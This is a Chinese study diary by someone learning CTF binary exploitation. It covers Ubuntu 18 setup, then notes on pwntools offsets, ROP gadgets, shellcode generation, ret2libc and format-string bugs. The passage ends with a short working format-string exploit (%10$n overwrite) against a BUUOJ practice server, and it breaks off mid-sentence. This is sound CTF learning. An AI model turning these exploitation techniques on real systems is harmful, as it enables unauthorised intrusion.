放假回家第一天
1.11
刚回家,一堆事要搞,没学什么,主要还是配环境。
这Ubuntu18的问题比20和22多好多,不停的报错,报错方式不停地变,已经麻了。
本来配完20和22以后以为自己已经会配基本的环境了,结果18又让我看到了很多新的问题。搜出来的文章大部分都没用,找到有用的文章也忘记保存了,以后如果有缘要重新配环境应该会吃很多亏。之前一直没有做笔记,现在开始正式进入寒假学习。
1.13
昨天把Ubuntu18基本配好了,环境配置告一段落,继续学习入门视频,并复现一下上面的题目。
lib.symbols['system'] #寻找system的offset
next(lib.search('/bin/sh')) #寻找/bin/sh的offset
ROPgadget --binary 文件名 --only "pop|ret"#寻找gadget
strings 文件名|grep sh#寻找字符
当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9
1.14
ldd 文件名#查询绝对路径
p32()#转字节型数据
u32()#转数字
hex()#转十六进制数据
1.17
这三天主要还是看视频和做题,一点点稳步推进吧。
shellcraft.sh()#生成shellcode汇编代码
asm(shellcraft.sh())#生成shellcode机械代码
64位需加入context.arch=“amd64”
在做ret2libc题目时为获得函数在got表中的地址,可以在栈溢出之后,劫持程序再次执行已执行过的函数,随后可获得got表内容。
栈对齐:
当内存地址作为操作数时,内存地址必须对齐 16Byte 、 32Byte 或 64Byte 。这里所说的对齐 xByte,就是指地址必须是 x 的倍数。
解决方式:加入在payload中加入一个ret。
1.19
int(b'0xffff',16)#将第一个参数转化为第二个参数所对应的进制,该例为转化为十六进制
libc database search (blukat.me)#libc版本查询网站
格式化字符串:printf("%n$p")#打印第n个数据
1.20
入门视频直接开始讲堆了,今天开始就少看点视频,多做题了。
1.21
[第五空间2019 决赛]PWN5
1
exp
from pwn import *
io=remote("node5.buuoj.cn",29678)
payload=p32(0x0804c044)+b'%10$n'
io.recv()
io.sendline(payload)
io.recv()
io.send(b'4')
io.interactive()
格式化字符串做的我好晕,还得多练。
这道题通过利用格式化字符串漏洞,改写随机数的值&